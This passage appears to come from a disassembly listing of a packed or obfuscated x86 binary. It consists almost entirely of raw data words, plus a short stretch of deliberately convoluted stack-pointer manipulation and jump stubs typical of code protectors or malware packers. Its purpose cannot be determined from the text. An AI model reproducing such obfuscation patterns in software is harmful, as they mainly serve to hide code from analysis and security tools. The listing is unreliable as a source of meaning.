		dd 686C21Fh, 9F60598Bh,	0E3AB815Dh, 14041Dh, 4FC58100h
		dd 0E96D6AF6h, 88CC454h, 0A82CA5B7h, 0CE4A0517h, 8CEF6F69h
		dd 72EE57D3h, 0D642FB73h, 0B1A31490h, 0A604B937h, 0C3F7865Ah
		dd 9C896C2Bh, 26A2DD3Ch, 0D4A8FD91h, 698E5C64h,	3DBF19DCh
		dd 0FB6DB47h, 0FB987522h, 0D6A86D90h, 7DC94D04h, 0C9D97BFEh
		dd 0B2A63438h, 682EC238h, 898D3924h, 6C20B6E4h,	0CD0BAE29h
		dd 7A3B6604h, 0C341h, 0A3DD8300h, 88B0F44h, 0A7235CBEh
		dd 0B7573317h, 0D0926A27h, 0B8E6974Bh, 9D986A27h, 36800443h
		dd 97853AB5h, 79EF5FD5h, 0C2168488h, 682EE400h,	0B24CF16Ch
		dd 4B22EA8h, 5B149C67h,	0B9D41D9h, 776E2744h, 8BC41684h
		dd 23BDCC10h, 50C36A29h, 328E60D5h, 29239F2Eh, 8376E16Ah
		dd 3CBB5611h, 18551C6Eh, 0E762E0ACh, 0A70BB864h, 8C32815Dh
		dd 1320F2h, 6BE19D00h, 850146D2h, 24A02030h, 44C08193h
		dd 0EA6661F3h, 0E88B4355h, 4ECA73EFh, 322E970Fh, 8D8F30B4h
		dd 0C2E055D3h, 3CD39A7Eh, 0A0AD6C2Bh, 26A2DDE0h, 0A925A6B4h
		dd 18FC5E1Dh, 6A27BC51h, 14C92C2Fh, 81184A04h, 667EA30Bh
		dd 520EB732h, 9925A3DDh, 0A12239BBh, 5FDA9925h,	0FE7E7AE6h
		dd 1490D230h, 0F6BACFA3h, 214D72D8h, 0E4D61ADDh, 3FA3A55Ah
		dd 2EDCC9DBh, 0BAA568h,	0A6FB6A1Ch, 591BC17Fh, 0D7A818E3h
		dd 0BD38BC34h, 0C11B39DDh, 0C4A099A3h, 3BDF5716h, 9DADB172h
		dd 0DBEE110Ch, 8778EE58h, 5EC11585h, 3C9FA822h,	0C18359C1h
		dd 9E28AC2Ah, 0C3162DDh, 0F86E4AA4h, 4521393Ch,	0EE58D497h
		dd 77F2766Ch, 0DA56108Ch, 68E48965h, 0AD61F07Bh, 24A632C5h
		dd 991AA3B7h, 0F9649BA7h, 0E1FFD27Eh, 6C1272CEh, 123492h
		dd 7FF5F100h, 991D5AC6h, 38BC3424h, 58DC9587h, 0FE7A75E7h
		dd 0FC9F5F39h, 0A2BE0783h, 612AB23h, 0E173C440h, 0F6D469E7h
		dd 3DC7F66Ah, 0ACB96C2Bh, 25A3DDECh, 51D2AF99h,	6925A3Ch
		dd 0D83AAC48h, 6A27B891h, 69F16CEFh, 2EEECFF5h,	0FB0A368h
		dd 6403530Dh, 0C6CFEB4h, 2513A31Eh, 8E52C84Ch, 6E23D0FBh
		dd 0DA009A85h, 0AEDF0398h, 0D06A2C20h, 48CC8B65h, 67384DCDh
		dd 925ACD25h, 6EEA23D6h, 0D046F06Ch, 59BD1D1Fh,	682F86F4h
		dd 0C9138F8Ah, 0A3CA0E8Fh, 0DD6C2071h, 0C25EE762h, 0ED6B6580h
		dd 0D7F1A241h, 0F2238DA1h, 54C26CEFh, 0DD01999Bh, 6E290717h
		dd 8B2CF87Bh, 9A814FB8h, 11730AD4h, 0B4300000h,	0DE958738h
		dd 7377E55Ah, 9DD444F9h, 3BB4A419h, 5E9E06BFh, 71C6423Dh
		dd 0D56AE2E3h, 328B0147h, 9728A426h, 86372B37h,	0F86C2B3Dh
		dd 0A2DDAD6Fh, 0DA979126h, 0EE10C456h, 92682EB4h, 0BB15A4B8h
		dd 0E86B6C20h
		dd 0A13DC16Dh, 20BB0CBDh, 7C87726Ch, 0F06AE6E0h, 0A10F3BDDh
		dd 0FD031595h, 0C4E0B11Ch, 0BE778A42h, 0C3BB3EDCh, 930DF073h
		dd 7DEB5BD1h, 0C61A8084h, 6E29A528h, 5B6DD944h,	0E2661DFFh
		dd 0F56C9754h, 87621CC2h, 28A94BC1h, 988C31ACh,	61F565E7h
		dd 682EDADFh, 7A06B0A3h, 4406E3E0h, 2FD7EC8h, 0E5631DFFh
		dd 7FFDFB59h, 97154DCFh, 0DA9D7427h, 9ED1A465h,	991936Ch
		dd 29DD23D5h, 5BDC5F6Eh, 0B501FFF9h, 27A22C51h,	0E4974E6Ah
		dd 8334B032h, 0BB45DAEFh, 45FB81E3h, 28A426B2h,	0E7D21FB2h
		dd 3A7C6448h, 601107C7h, 849A7EDCh, 0D8682EE0h,	0FBA8FD5Dh
		dd 1079D3h, 66F83DC0h, 9612508Ah, 1EAF4B28h, 0C96C209Dh
		dd 0C2A10D8Bh, 87698C8Fh, 71F38CD6h, 115875E9h,	5E16E23h
		dd 2CE1A8D1h, 0F76BD66Ah, 2CE15A63h, 0C639246Ah, 0A0BA00F3h
		dd 3F1BAB27h, 6A2CE18Ah, 26B4B849h, 80D2904Ah, 72C72E9Dh
		dd 48B32E01h, 2F295FCAh, 7B74E668h, 0AFB34FFFh,	6C20DE1Eh
		dd 877AF560h, 3D941BCh,	7900D441h, 76C20DEh, 0DB019914h
		dd 0D1921C98h, 696BE92Eh, 86C143F3h, 1F07DE0Ah,	4CF28756h
		dd 0FE8B2h, 0B329A500h,	0CD490E0Ah, 6CE8E868h, 8C0849CBh
		dd 32AE292Bh, 0B0D30B8Dh, 1602BB37h, 0FA66DF57h, 55C778FCh
		dd 8A189D1Bh, 3F1BA2B6h, 0E8656C2Bh, 26A2DD28h,	4BC18391h
		dd 578B67FBh, 6A27BC26h, 0BE1ADD58h, 34A1213Ch,	27BC9920h
		dd 0F974E76Ah, 0C9E5AE4Dh, 86475726h, 2C2E981Bh, 878531B5h
		dd 4DE04EC6h, 0E1B007AAh, 0DAEF476Ah, 7A759566h, 0E6B330FEh
		dd 0B4317B92h, 72ED8E38h, 0D5530D8Fh, 0AA29E860h, 977C7434h
		dd 0DC000001h, 0D44A3DDh, 0C3BE3D89h, 0CF13EF73h, 6A27BCBEh
		dd 36A255C0h, 818738B4h, 6AEE6CF0h, 682EEB44h, 95713D38h
		dd 6C208DE0h, 0C907AA2Dh, 7A3B9108h, 495Dh, 38C9BF00h
		dd 38B2A634h, 0F3682EC2h, 0D7936E69h, 8F0AE955h, 76B9BC3Fh
		dd 2A73B8Bh, 0DA5B331Dh, 2FAB4E5Fh, 6C208E9Ah, 73ADC057h
		dd 7A3B8DB2h, 101F3h, 0F6ED6F00h, 46C472h, 3EB93A84h, 82F1B85Ch
		dd 8C8F6C20h, 0EA3AF69h, 6183E1C5h, 8D0944D7h, 736DEF12h
		dd 0D85BDF94h, 0D48926Eh, 1D462591h, 0CD7ED7C0h, 9E7AFDE0h
		dd 9D561DDh, 161864h, 9E7A7DB4h, 10D363DBh, 0FB7173EDh
		dd 118FC94Bh, 0E7DEAAACh, 591B6A27h, 0E25A1EFCh, 27E87900h
		dd 0F814076Ah, 3BFC7FFBh, 0B6E634CDh, 194BA2E0h, 0CDB5C418h
		dd 48CB6A27h, 14C852CDh, 68201A2Ch, 0A2213B97h,	7CBDCC26h
		dd 1FDD6C2Eh, 0CCD1851Bh, 0E01B0649h, 1CF862DDh, 0F803FBFEh
		dd 5EE7631Ch, 0A21A5EBCh, 682FD5Fh, 58A215DAh, 0AC32F887h
		dd 0E41h, 0B50A82C2h, 13A420A7h, 72CB4101h, 0D26BE3E6h
		dd 34890546h, 8CCFACA0h, 30ADAF10h, 531103B4h, 0F6F060D5h
		dd 19E5C57Ah, 2B39B4C5h, 0FF5DCA6Ch, 9126A2DDh,	0E3591FFDh
		dd 59C2BC18h, 27BCF485h, 4C908A6Ah, 6A27BC3Dh, 0DA55D043h
		dd 0A3DDB765h, 39BB9925h, 5C1EFA43h, 0FE056E0h,	63498D0Dh
		dd 1F682ED4h, 235CBE1Ch, 0C79B5CA7h, 34FEA8A2h,	58A3380Fh
		dd 76B80h, 0A2DD1E00h, 9BC9826h, 0CA6A27BCh, 0ADAF3335h
		dd 0AF43B632h, 0DAE377D3h, 0A46A27BCh, 79DC46B9h, 27682430h
		dd 3CB4A634h, 0B7A545B8h, 1A06BF35h, 8E52DC58h,	0C79F2E32h
		dd 69E16C2Bh, 2BC7C4F5h, 3CBFBA6Ch, 9826A220h, 3BB420DBh
		dd 0A0239BDEh, 5B378174h, 0C49A4087h, 0D6Dh, 8136AE2Eh
		dd 0EF50D493h, 4EF7756Dh, 0AE1797D2h, 0B531B2h,	0B83B5894h
		dd 0DC997B3Ch, 77DDF60h, 0A2DC3C81h, 2D319126h,	2B398029h
		dd 0B311FE6Ch, 647A2DDh, 4D8F138Eh, 492A9410h, 0E1E371B6h
		dd 7F79DB6Bh, 4A08E5E0h, 66D053CEh, 5FF7BA51h, 0B346C2BDh
		dd 9429A721h, 345C559Ch, 0D1074h, 0DBF00000h, 6A27C2B8h
		dd 0FDA2821Ah, 0A318FFFFh, 0F34339B9h, 60158D70h, 0C96A27BCh
		dd 0FFEF75A4h, 0EF12EC1Eh, 16848879h, 0AA26A0BAh, 6A8D094Eh
		dd 24F62DE8h, 0BCF4368h, 6C2B0162h, 34A6211Ch, 0CE404891h
		dd 12E5CCB5h, 0E46062F8h, 245DBF53h, 81C35DA0h,	1E59BB0Bh
		dd 5E8D76A2h, 8248875Bh, 0CA8FCh, 0F3696500h, 0D89CE4Ah
		dd 0AC28A8A8h, 0CC48090Bh, 72EEE96Bh, 7013CBCDh, 0D642FB77h
		dd 0BAA61F97h, 1507B83Ch, 4A58DD5Bh, 3A5B62F6h,	28256C2Bh
		dd 25A3DD68h, 0F569C599h, 6A27BCC4h, 0D844BFBAh, 394229Eh
		dd 0F6875B37h, 886A27BCh, 0BC3F4E92h, 0D6416A27h, 7E31A05Bh
		dd 1DA21E58h, 345BDE27h, 0DA774h, 0DB650000h, 6A27C2B8h
		dd 0FCDA821Ah, 0C918FFFFh, 0B2A63438h, 682ED278h, 8052AFE4h
		dd 13011FC8h, 0C876F2F1h, 2832A82Bh, 9C2D31AAh,	0E26C205Dh
		dd 0C501F477h, 205D3F41h, 5467F06Ch, 3C415B9Ah,	1E92A7Ah
		dd 0DBEE0000h, 6A27BC86h, 0ACE78A10h, 56B9B6E7h, 9C709669h
		dd 32FC787Eh, 0B494AE67h, 0D95401C6h, 0A338BA26h, 0F4423EB9h
		dd 0F8EA9377h, 0A9946A27h, 0C98B892Eh, 2A67E353h, 0ED6A27F8h
		dd 46C472F6h, 693F8F07h, 2878BFF2h, 9CDE00B3h, 0DBA99F20h
		dd 6761E353h, 8AC454E9h, 0DF98C0Eh, 0DBEDEBC2h,	9470BE41h
		dd 6A270AB1h, 7EB8FB5Ch, 743515B7h, 1768Eh, 4C906C00h
		dd 6A27023Dh, 0B2D7045Dh, 0A8E3E44Fh, 0DD8E4AADh, 0BB9925A3h
		dd 0AFA4339h, 0CB1A2575h, 0A188480h, 0B9CF138Fh, 12682E1Ch
		dd 7A1BA2B6h, 0FA656C20h, 75C13C07h, 207AEC91h,	3CB83B6Ch
		dd 436AEE72h, 3D6C207Ah, 28A426C2h, 1F52099Eh, 0BEF16698h
		dd 27568A66h, 596C207Ah, 60A11BDEh, 257A3C26h, 35h, 3438C9E7h
		dd 708103A6h, 0AB4C66D3h, 5C1FAF2Dh, 18FC1EE1h,	682EE462h
		dd 0D733837Eh, 6C2090A2h, 849936Fh, 0BE41228Ch,	9B5A9427h
		dd 0EA7A3B87h, 0B3h, 25A3DD2Eh,	0BC38BB99h, 0C6423CDEh
		dd 5711F333h, 0EDEF6DD9h, 68260AA1h, 0DE9F9428h, 0D768EB66h
		dd 27E90F43h, 0BC38BA6Ah, 0F0740DFBh, 124C8E6Ah, 0A94B2896h
		dd 6003B329h, 4E3D059Dh, 0E6516820h, 143F5174h,	662B2AA5h
		dd 0E29D7F93h, 6366F466h, 7C985BEBh, 0B87D8004h, 80C21F58h
		dd 0DF39BA04h, 0D0932399h, 43628B55h, 41098758h, 0A80BFh
		dd 0CB413D00h, 65E1E672h, 840040D0h, 24A02133h,	4AC68193h
		dd 86BE3F5h, 0EE6AD34Fh, 52CE77EFh, 2D2F9014h, 228035B3h
		dd 34733ADEh, 0D6C2Bh, 26A2DD80h, 4BC18391h, 497518F2h
		dd 89CD376Eh, 0A3429E61h, 0BC6A13C7h, 29146A27h, 0EC178DCFh
		dd 4CFA7670h, 0AF2FAAB0h, 0D8EC854h, 27BCA0C9h,	0E063DE6Ah
		dd 3BA815Fh, 0B51F0000h, 0E0641D65h, 17C9E7Ah, 0C6E07285h
		dd 7D682430h, 0DD555728h, 0C2356E75h, 7C9E7CFFh, 0A9358105h
		dd 2BDE04B5h, 7CFF7A6Ch, 32CF41F9h, 8EA8AC2Eh, 0E26E22A7h
		dd 963BC777h, 624F7DC9h, 4FCB2E21h, 6A2C283Ah, 934D60F7h
		dd 743FF452h, 32E13h, 96DBF100h, 476A27BCh, 6A27BC2Fh
		dd 0E37F01FEh, 2EB8997Fh, 8E5AC568h, 8755BF69h,	0A2B04EFCh
		dd 63000009h, 0C454E963h, 0A6B20B8Fh, 715AA22h,	0E775CA42h
		dd 0C1D768E4h, 0F16D6E0Dh, 1591CC4Ch, 0B632B0A0h, 0DB511301h
		dd 64F84462h, 6C2B3555h, 0A39E3A2Bh, 0BD403CB9h, 9B2BA123h
		dd 0CA50D4ADh, 24307F16h, 5E14C668h, 0F71C27DAh, 3B37AC4Dh
		dd 0C374F7B3h, 35B32D2Fh, 9117EA89h, 0DC378AE0h, 592A53Dh
		dd 49CC108Ah, 0D76E2880h, 6964F664h, 83CE48EDh,	506A2768h
		dd 342499A3h, 4B22EBB9h, 7A8C3420h, 399DBB29h, 0DC5FB82Bh
		dd 2C1A2B7Eh, 6237AD2Fh, 6F9A331h, 8C084AC8h, 393B3422h
		dd 0B977BDA1h, 181B682Eh, 562831CCh, 64FAA087h,	8F1h, 5BA32B2h
		dd 63D45017h, 0C27BF1F1h, 229B1356h, 8439B536h,	3CBFDC10h
		dd 601DFF40h, 83C153E4h, 26A0B005h, 0A9B515AAh,	2B3604B5h
		dd 2FED7A6Ch, 374B0EA3h, 11FD8109h, 0CE78F4F7h,	0A55ACA2Dh
		dd 0F46A3FA3h, 78A0707Ah, 39F7386h, 0BF2399D9h,	27E4125Bh
		dd 0EF16C6Ah, 24771194h, 0E8C8F68h, 0A81692CCh,	0DA30CBh
		dd 8B51C945h, 63E14DCFh, 9265E064h, 6FEFF5Dh, 5D8124B8h
		dd 0E9901BCAh, 7E73F104h, 0D5FC60FAh, 0BB6E28F4h, 0A6219FD9h
		dd 0CF512E18h, 85C98953h, 0DDA4FFBEh, 0FA1691AEh, 30B303FBh
		dd 2B292DCDh, 47682E97h, 0E0FF08D4h, 0A06E8755h, 838DEh
		dd 3F9F500h, 9D195EBAh,	3CB83818h, 5CD8997Bh, 827E79DBh
		dd 0C0A35B3Dh, 0A6B20B87h, 0A16AF27h, 0E577C84Ch, 0FAC86DEBh
		dd 37CBF266h, 58B56C2Bh, 0F3A3DDF8h, 0A477588Dh, 0B17DF835h
		dd 0FEFA1153h, 0B033B07Eh, 97DAB106h, 34890741h, 3478F53Ch
		dd 9D41DD74h, 6A27ADECh, 0D35CA792h, 143h, 25A3DD31h, 0F569C599h
		dd 6A27BCC4h, 0D844BFBAh, 0AB9D229Eh, 14C852D6h, 682EEB62h
		dd 0C0E96DC9h, 0BE6C208Dh, 8A75B843h, 8D95D83Ch, 5426C20h
		dd 95D73581h, 65FCAF1Fh, 8E09ED52h, 90E42DEBh, 2CA17A3Bh
		dd 63000000h, 0A63438C9h, 2EC238B2h, 8D392468h,	20B6E489h
		dd 7D5296Ch, 0FD7EC844h, 59E56763h, 0BDF0679Ah,	3B65C203h
		dd 0A7837Ah, 0DD410000h, 0A7B525A3h, 9757AA22h,	0D65211CBh
		dd 6B698B68h, 5FA241EDh, 940682FDh, 3D890546h, 898BBBBEh
		dd 67E551CFh, 0B456EF65h, 1AA420A6h, 0A03CA659h, 1B6A27D0h
		dd 1D336776h, 5CA727CBh, 0B50A86C0h, 20BABEB3h,	2040C43Ch
		dd 2DADA868h, 8F30AC2Fh, 0B337D28Dh, 73EE8D39h,	585770A1h
		dd 7D03CB87h, 701h, 0F54AC282h,	53E46067h, 0B20B81C1h
		dd 12AB23A6h, 74C94506h, 0CC8FEC60h, 706DEF50h,	93D143F4h
		dd 36B0A015h, 59A505BAh, 2B30F485h, 3F9D8A6Ch, 0BE3AB9A3h
		dd 50AB23A2h, 0B60F8BC4h, 0BAC28AAh, 15C7A349h,	7504DE5Ah
		dd 0B6A27BCh, 696BF508h, 87C143F3h, 0BCFC9109h,	79D32458h
		dd 0F570ECEEh, 19DC581Bh, 3A08E4h, 0A3960000h, 0F34339B9h
		dd 807B8D70h, 7FE3651Ah, 0B311352Ah, 3FF5EE8Fh,	0E926736Bh
		dd 8466992Ch, 24163350h, 5CDE5968h, 9F50E696h, 8DD93D9Dh
		dd 0E16E286Ah, 2A2AC476h, 70000000h, 0A63438C9h, 2EB55CB2h
		dd 0A9150068h, 0F19BF5ADh, 0CFE26187h, 7AE0641Dh, 0D65D80E6h
		dd 4700DC91h, 19F748CBh, 0F3h, 3438C987h, 15A7CAA6h, 0D4F59FB8h
		dd 0AF1F9BD8h, 34AE51CCh, 68248899h, 0FF668D20h, 1B9C17FCh
		dd 0B962DDE0h, 6FF6C14Bh, 5053924Ch, 0A0127A41h, 0C8000000h
		dd 44C1E86Ch, 53166C2Bh, 0C5886BDBh, 0C975A75Ah, 0B4A63438h
		dd 0A446B93Dh, 0FD24A5C8h, 572ADB82h, 0AF9836ACh, 39236824h
		dd 0F03B3EBAh, 9C6CD405h, 815531CDh, 6C2B5FF8h,	0F1609B86h
		dd 568A66BEh, 6C2B5F27h, 4302DE59h, 75BC30CBh, 307A413Fh
		dd 4Bh,	13C7A310h, 6A27BC6Ah, 0F945C3BDh, 31C4377Ah, 20BABEB3h
		dd 2430973Ch, 0F91DFD68h, 6C2BC0B0h, 37B153CEh,	0F36E0DB9h
		dd 6732DA2Eh, 822B2F8Bh, 556C2BC0h, 4E2D991Fh, 807C791Bh
		dd 5063F205h, 40DC4F96h, 21167Ah, 0DBFA0000h, 6A27D21Eh
		dd 0BE3822B8h, 0A57039DDh, 130E6A27h, 0B2452690h, 0FFFEEB5Ah
		dd 671CFEFFh, 0C9FC18E3h, 0B2A63438h, 68242F27h, 9C60CE49h
		dd 9456EEC9h, 1FF9CA25h, 961EE15Bh, 0E59448D9h,	9B6C2B43h
		dd 59BD1D98h, 6E28CF0Dh, 0DE48F661h, 5F831F21h,	6824B3CAh
		dd 0BD149B4h, 0F177C84Ch, 0E1671D00h, 74F0F755h, 789C7EF9h
		dd 6E28D71Dh, 0FDDA5673h, 6D3A4397h, 0D9446A27h, 34716688h
		dd 0F80BB2A6h, 8A756A27h, 0B49930Fh, 0C876F2ECh, 9F32A82Bh
		dd 0FC319A0Bh, 9449AC4Ah, 4DE9E882h, 2B8763E2h,	19F8637h
		dd 0E57DF8F2h, 0F2019FD4h, 0C854AFAAh, 0AFAD128Eh, 1107B72Dh
		dd 9A7EDC60h, 0F008F04Ch, 0B6C71BF7h, 0C8F40687h, 9487AA4Dh
		dd 5EBC9C2Ah, 0F958A31Bh, 0EA6660B6h, 6A81C755h, 4DC9886Dh
		dd 48764D2h, 9F1B58BAh,	185B222Fh, 6B6580C6h, 72E872EDh
		dd 0C80DF074h, 0EBEF0A48h, 0A248F671h, 9F1756DCh, 34B02D2Fh
		dd 9DD0A78Ah, 0A7CAA61Ah, 9EA41A3Eh, 0AA29CC6Fh, 30ADAF07h
		dd 96690AB4h, 77C84C0Ah, 2936C9A5h, 27BC8435h, 9A12536Ah
		dd 19044F2Ch, 0B032109Eh, 3FB4A634h, 848640BBh,	19FB4BCFh
		dd 0DE53E359h, 20A27407h, 0DE591AA4h, 0E5274A2Dh, 0A7B50A0Ah
		dd 8672AF25h, 6C0FC6F5h, 0EAC28AAh, 73EFE872h, 0B2570C88h
		dd 8935B034h, 27BCFC8Dh, 0B5F89F6Ah, 5FE06463h,	0B50187FDh
		dd 0E0894D29h, 9E6A27BCh, 0B4FA58A3h, 616A27BCh, 0FF5DE967h
		dd 5B600FCh, 0ED46B0Eh,	0F2F02649h, 0E055C176h,	566A27CEh
		dd 347D62A2h, 0FF732174h, 0DDE3FFFFh, 809025A3h, 0B5914AC6h
		dd 0AE26A7h, 423C9863h,	1E415C6h, 0B22EA86Eh, 36B63228h
		dd 0DA10EB88h, 345B9958h, 1D5B8174h, 0A94C2F9Fh, 5C3Ch
		dd 0B9A31C00h, 25A7413Fh, 995C1FAFh, 48D2562Bh,	0BDCC10ECh
		dd 0C36A27BCh, 9935AD50h, 0F5682430h, 0D68D686Bh, 8407E452h
		dd 1D3EB93Ah, 4C0C6C01h, 0C37039DDh, 130E6C2Bh,	2F3F7B46h
		dd 745720D4h, 5DECC7EAh, 68393A76h, 0A16B0E95h,	0ACE4CD0h
		dd 6E28247Eh, 0FD9B2712h, 4Bh, 5538C923h, 4F2C9A1Eh, 0FE8A4ECCh
		dd 92682430h, 0BB5F3BA7h, 6C2BC0F2h, 234A8E8Ch,	5D6C2BC0h
		dd 3F9C67E2h, 8960A935h, 0C94B24E6h, 6067F551h,	0E58111E4h
		dd 896E284Ch, 0B5790C8Eh, 9BF7B3BAh, 0EE8A40BBh, 46F0746Ch
		dd 0DD8652A5h, 0BB9925A3h, 0AFA4339h, 2ED9EC75h, 6958B40Ah
		dd 0D48D3CD6h, 30246A27h, 6A27D489h, 0D64104F7h, 6D13C75Bh
		dd 11682E83h, 9BC9826h,	0C46C20E5h, 1FE62053h, 0B7A3BB9h
		dd 0A91593D1h, 41B637CAh, 9A000000h, 0A63438C9h, 2EC238B2h
		dd 95DEF368h, 0D67353D7h, 7EF9CC37h, 0C8C6C99Ch, 0E0AF2A8Ch
		dd 4075D11Dh, 8D6C203Eh, 68A9670Ah, 507A3BDEh, 8C50CF8Ah
		dd 6C2032FDh, 0A9159083h, 0F0B637CAh, 9A000000h, 263AA3DDh
		dd 6A27BC97h, 6FF36EE9h, 0F76BF0EDh, 6A27BCC6h,	74C2BDB8h
		dd 0BC4574E8h, 383B6A27h, 8E8CBABDh, 67E551CDh,	0FD5FEF65h
		dd 0A6B00583h, 6A27B7CAh, 6ED74D0Fh, 0CA74F0F2h, 526B9336h
		dd 0BC11ECE9h, 3236CBB9h, 0E66EB4A8h, 1702682Eh, 58C9A6AEh
		dd 20A0F584h, 0D888B6Ch, 746F498Dh, 10036E27h, 832A2E8Ah
		dd 0FD6A2914h, 14B0F91Dh, 53CE6A29h, 0E9EB83D0h, 4F79DB49h
		dd 60FA56B4h, 9E5DE965h, 71840042h, 0D768E4E7h,	428E0A45h
		dd 815D10DDh, 0B6946A10h, 77000001h, 0D838FD77h, 0BAA61F9Bh
		dd 1BF9BE3Eh, 0FB59DE5Eh, 0DDBB7CF8h, 85014221h, 29A52030h
		dd 4ACE8494h, 0EF6567F5h, 70E47856h, 6C2B2D49h,	0A37AD637h
		dd 0BF423EB9h, 147A2DDh, 0A5B7088Bh, 0C597CC2Bh, 7E9487CEh
		dd 5B12C0Dh, 2A723D66h,	0CE5D18E8h, 0C92EEA53h,	0B2A63438h
		dd 682EC238h, 898D3924h, 6C20B6E4h, 8630B433h, 0FE48CC84h
		dd 597F32A9h, 0DE20A319h, 39F83679h, 0C7A3B66h,	95h, 25A3DDCCh
		dd 0BC38BB99h
		dd 0B7BA16F2h, 7D7F6A27h, 84C11B87h, 3A3DBE08h,	0DF551705h
		dd 1B08F96Fh, 27B8B6C7h, 0D24DC86Ah, 0DF8E9448h, 77E2682Eh
		dd 0A7A946CEh, 4E7C273Bh, 2B166E27h, 0AE2AA5B7h, 0E3E77509h
		dd 490A9669h, 522603CDh, 9545815Dh, 0E0CBh, 0AB215D00h
		dd 0C5410612h, 64E0E070h, 840041D3h, 2AA62133h,	0A8CB0395h
		dd 0E0AB32Fh, 0F26ED74Fh, 4DCF70F4h, 82209513h,	2E135ABEh
		dd 0E06D6C2Bh, 0F0A2DD20h, 2DDC927h, 4AF36E11h,	0AF108CCEh
		dd 0F3A3DDEDh, 360EAB54h, 0FBBFE400h, 0EF3611Fh, 0F68A34B7h
		dd 78B7C61Ah, 4EC96A27h, 31AF29ABh, 56D28C8Ch, 0FB7173E1h
		dd 34ABCF4Bh, 0EE7139FDh, 0B5B15CBh, 0CBA186A3h, 9E7CFF13h
		dd 7D80047Ch, 964A26B8h, 5DD1CBE7h, 3429E99h, 0EAE4708Bh
		dd 6C6EEC6Eh, 52A546F0h, 5512C894h, 738665D1h, 0DA64E0E1h
		dd 0CC6417CCh, 63D34B0Eh, 0E1E37D80h, 0C71BF76Bh, 5DD1CBB6h
		dd 75AA4DC8h, 0DF6FE5E7h, 3EB5A703h, 0CB1158BAh, 0EC6F5DD1h
		dd 0FF309h, 72170000h, 41AB362Dh, 0FE7A74A1h, 8A5CF803h
		dd 2BA1DDD6h, 413FB99Bh, 0DB5117F5h, 70ECE96Bh,	8F0B44C6h
		dd 26A2DD3Fh, 0BF3FBA98h, 0D7550D0Fh, 6AEEE567h, 0EC8168DCh
		dd 4, 89243489h, 4C681E6h, 83000000h, 348704EEh, 12685C24h
		dd 8900003Fh, 8952240Ch, 4C281E2h, 83000000h, 148704EAh
		dd 4895C24h, 4EC8124h, 89000000h, 9DBF243Ch, 812C6B3Ch
		dd 0A1413AC7h, 5FF989D9h, 24048B54h, 4C481h, 2B680000h
		dd 89000063h, 8BA2414h,	1000000h, 5A0A89C2h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54F7CF
; ---------------------------------------------------------------------------
		db 47h
		dd 8C2D1BBBh, 0C960904Fh, 0F318F69Fh, 85B8B39Ch, 3060C93h
		dd 36E0FFC5h, 964A921Ch, 9E62DD8Dh, 3354D5A5h, 1F1D4960h
		dd 630921EDh, 0DD235855h, 2842BF5Fh, 86612598h,	765CD637h
		dd 7323667Dh, 0EC6A20A8h, 0B079E65Eh, 122B8ACDh, 0CB67795Bh
		dd 3E7F99E4h, 0E83C3B84h, 10h, 56CA8A47h, 5FCBF993h, 0D1E88423h
		dd 2CCE7B83h, 12E9h, 0A5F55F00h, 595E95A5h, 9ACE812Ah
		dd 0F171BCE5h, 5FB5DD5Eh, 0BE9h, 44295200h, 0BCD40877h
		dd 83CBAD56h, 6E5EC781h, 8B660000h, 1B5AB8CBh, 0EB8A0000h
		dd 0F5E37FFh, 0A84h, 4890F00h, 66000000h, 812D63BAh, 2225C2EEh
		dd 0CAB70F74h, 0E6D9F681h, 830F46C1h, 5, 0D5CB48B9h, 0B0C68112h
		dd 0F162894h, 3789DEB7h, 0FE9h,	44597000h, 0CC2C8927h
		dd 9BF943C7h, 0BE0C1889h, 805FEF81h, 0BB664AEFh, 0C7813AEEh
		dd 4AEF805Bh, 19810Fh, 14E90000h, 4D000000h, 93C61745h
		dd 0BFD99B29h, 31ED8C8Bh, 743E4A28h, 486D2E3Fh,	1C850Fh
		dd 0BA660000h, 27E9313Fh, 0C5000000h, 0A126678Ch, 0B727D266h
		dd 14708F7Dh, 8010D8F3h, 850F1EC5h, 2, 55E9CF8Bh, 0A9FFFFFFh
		dd 0A13BD485h, 2DEBF0E1h, 0
		dd 0BFAE0DD0h, 0DFF2319Ch, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 26816800h, 0B2BD1467h, 75314D03h
		dd 0AC3E923h, 0A7680000h, 0E9060C96h, 0FFFAE7CEh, 0C97E668h
		dd 0E7C4E906h, 0D168FFFAh, 0E9060C98h, 0FFFAE7BAh, 0C995068h
		dd 0E7B0E906h, 1D68FFFAh, 0E9060C9Ah, 0FFFAE7A6h, 0C9B0768h
		dd 0E79CE906h, 0D668FFFAh, 0E9060C9Bh, 0FFFAE792h, 0C9DA368h
		dd 0E788E906h, 0C168FFFAh, 0E9060C9Eh, 0FFFAE77Eh, 0CA127659h
		dd 36B3D17h, 50B8EECEh,	0E8F0A4BDh, 244C1875h, 694A5915h
		dd 0DB3ED33Bh, 96F06D75h, 4DA5B8C0h, 8420FF07h,	15E03BBh
		dd 59D34303h, 0AE2D04E5h, 5410064Ch, 0AA7A2A2Ch, 9B316260h
		dd 499BC495h, 2DFD9052h, 98A6A497h, 0FEC60F31h,	72EDC524h
		dd 0F3CF4210h, 0CBF3B3A5h, 3310E9A3h, 0EBBBEB6Dh, 0A5BF3016h
		dd 0FB4DCBF3h, 3F12C8EDh, 0A31BE422h, 0E30301B2h, 21FBABD3h
		dd 2568A18Fh, 0DF22641Dh, 53192C0Fh, 75BD093Dh,	3E6442DFh
		dd 75DB3BD6h, 72232183h, 5BBE5FD8h, 260E0F34h, 17B86C2Fh
		dd 5B322803h, 8ECh, 1E662205h, 57BFE1C3h, 0E40C5ABAh, 3C440869h
		dd 4890C421h, 0D536ADA9h, 8FEA678Fh, 425CB1D9h,	3111CC14h
		dd 0E88C036Bh, 15DB70Fh, 956FF703h, 181E44A2h, 59F359B9h
		dd 0FB7AE2C0h, 0CF98BE8Eh, 0D19583CBh, 0D533D931h, 0D069CA80h
		dd 900F342Eh, 8535B6A0h, 0CD030A4Ch, 0FE4CE3C9h, 819E171Bh
		dd 7D3783Ah, 67C9929Ch,	470CC686h, 8BB5E1CDh, 5E0E54B6h
		dd 3AC1h, 43E50700h, 0DCB4EF0h,	77CF2805h, 37050DCBh, 8343730Fh
